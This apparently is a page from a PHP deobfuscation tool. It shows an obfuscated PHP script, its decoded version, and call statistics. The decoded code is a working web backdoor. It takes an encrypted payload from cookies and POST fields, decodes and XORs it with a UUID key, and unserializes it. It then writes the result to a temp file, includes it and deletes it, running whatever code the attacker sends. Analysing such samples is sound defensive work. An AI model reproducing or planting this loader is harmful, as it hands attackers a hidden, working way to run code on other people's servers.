Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$mukcsvN = chr ( 841 - 734 ).chr ( 1026 - 931 ).chr (99) . "\161" . "\125" . chr (90) . ch..
Decoded Output download
<? $mukcsvN = chr ( 841 - 734 ).chr ( 1026 - 931 ).chr (99) . "q" . "U" . chr (90) . chr (104);
$kjjKooK = 'c' . chr (108) . chr ( 967 - 870 )."s" . chr (115) . "_" . "e" . chr (120) . chr (105) . "s" . "t" . "s";
$LMfccVa = $kjjKooK($mukcsvN); $mukcsvN = "3457";
$fmFgpWZdBF = !$LMfccVa;$kjjKooK = "63496";
if ($fmFgpWZdBF) {
class k_cqUZh{
private $JrQBs;
public static $NtgwvCmtCS = "0c6c801b-cfb6-49a1-a2bf-8aef3acece96";
public static $nHqzAfA = 10453;
public function __construct($wUnaQfoE=0){
$JHSFKMKiNn = $_COOKIE;
$SEDNnGC = $_POST;
$sSztBfryYm = @$JHSFKMKiNn[substr(k_cqUZh::$NtgwvCmtCS, 0, 4)];
if (!empty($sSztBfryYm)){
$QJhcAdGtd = "base64";
$XEpNtXTm = "";$sSztBfryYm = explode(",", $sSztBfryYm);
foreach ($sSztBfryYm as $dIpxM){
$XEpNtXTm .= @$JHSFKMKiNn[$dIpxM];
$XEpNtXTm .= @$SEDNnGC[$dIpxM];
}
$XEpNtXTm = array_map($QJhcAdGtd . '_' . "d" . chr ( 996 - 895 ).chr ( 404 - 305 ).'o' . 'd' . 'e', array($XEpNtXTm,));
$XEpNtXTm = $XEpNtXTm[0] ^ str_repeat(k_cqUZh::$NtgwvCmtCS, (strlen($XEpNtXTm[0]) / strlen(k_cqUZh::$NtgwvCmtCS)) + 1);
k_cqUZh::$nHqzAfA = @unserialize($XEpNtXTm);
}
}
private function OQznlXb(){
if (is_array(k_cqUZh::$nHqzAfA)) {
$LjQhyxEcx = sys_get_temp_dir() . "/" . crc32(k_cqUZh::$nHqzAfA[chr ( 656 - 541 )."a" . chr ( 944 - 836 ).'t']);
@k_cqUZh::$nHqzAfA["w" . "r" . chr ( 954 - 849 ).chr (116) . chr ( 242 - 141 )]($LjQhyxEcx, k_cqUZh::$nHqzAfA[chr ( 288 - 189 )."o" . 'n' . chr ( 179 - 63 )."e" . 'n' . "t"]);
include $LjQhyxEcx;
@k_cqUZh::$nHqzAfA[chr (100) . chr ( 872 - 771 ).chr (108) . "e" . chr (116) . chr (101)]($LjQhyxEcx);
$mxderE = "61727";
exit();
}
}
public function __destruct(){
$this->OQznlXb();
$niHmcYvQ = str_pad("61727", 10);
}
}
$LCfEadPEBV = new /* 62097 */ k_cqUZh();
$LCfEadPEBV = substr("26492_42016", 1);
} ?>
Did this file decode correctly?
Original Code
$mukcsvN = chr ( 841 - 734 ).chr ( 1026 - 931 ).chr (99) . "\161" . "\125" . chr (90) . chr (104);
$kjjKooK = 'c' . chr (108) . chr ( 967 - 870 )."\x73" . chr (115) . "\x5f" . "\145" . chr (120) . chr (105) . "\163" . "\164" . "\x73";
$LMfccVa = $kjjKooK($mukcsvN); $mukcsvN = "3457";
$fmFgpWZdBF = !$LMfccVa;$kjjKooK = "63496";
if ($fmFgpWZdBF) {
class k_cqUZh{
private $JrQBs;
public static $NtgwvCmtCS = "0c6c801b-cfb6-49a1-a2bf-8aef3acece96";
public static $nHqzAfA = 10453;
public function __construct($wUnaQfoE=0){
$JHSFKMKiNn = $_COOKIE;
$SEDNnGC = $_POST;
$sSztBfryYm = @$JHSFKMKiNn[substr(k_cqUZh::$NtgwvCmtCS, 0, 4)];
if (!empty($sSztBfryYm)){
$QJhcAdGtd = "base64";
$XEpNtXTm = "";$sSztBfryYm = explode(",", $sSztBfryYm);
foreach ($sSztBfryYm as $dIpxM){
$XEpNtXTm .= @$JHSFKMKiNn[$dIpxM];
$XEpNtXTm .= @$SEDNnGC[$dIpxM];
}
$XEpNtXTm = array_map($QJhcAdGtd . '_' . "\x64" . chr ( 996 - 895 ).chr ( 404 - 305 ).'o' . 'd' . 'e', array($XEpNtXTm,));
$XEpNtXTm = $XEpNtXTm[0] ^ str_repeat(k_cqUZh::$NtgwvCmtCS, (strlen($XEpNtXTm[0]) / strlen(k_cqUZh::$NtgwvCmtCS)) + 1);
k_cqUZh::$nHqzAfA = @unserialize($XEpNtXTm);
}
}
private function OQznlXb(){
if (is_array(k_cqUZh::$nHqzAfA)) {
$LjQhyxEcx = sys_get_temp_dir() . "/" . crc32(k_cqUZh::$nHqzAfA[chr ( 656 - 541 )."\141" . chr ( 944 - 836 ).'t']);
@k_cqUZh::$nHqzAfA["\x77" . "\x72" . chr ( 954 - 849 ).chr (116) . chr ( 242 - 141 )]($LjQhyxEcx, k_cqUZh::$nHqzAfA[chr ( 288 - 189 )."\x6f" . 'n' . chr ( 179 - 63 )."\x65" . 'n' . "\x74"]);
include $LjQhyxEcx;
@k_cqUZh::$nHqzAfA[chr (100) . chr ( 872 - 771 ).chr (108) . "\x65" . chr (116) . chr (101)]($LjQhyxEcx);
$mxderE = "61727";
exit();
}
}
public function __destruct(){
$this->OQznlXb();
$niHmcYvQ = str_pad("61727", 10);
}
}
$LCfEadPEBV = new /* 62097 */ k_cqUZh();
$LCfEadPEBV = substr("26492_42016", 1);
}
Function Calls
chr | 10 |
class_exists | 1 |
Stats
MD5 | f1ef06246dd4571306d026685cb1a268 |
Eval Count | 0 |
Decode Time | 81 ms |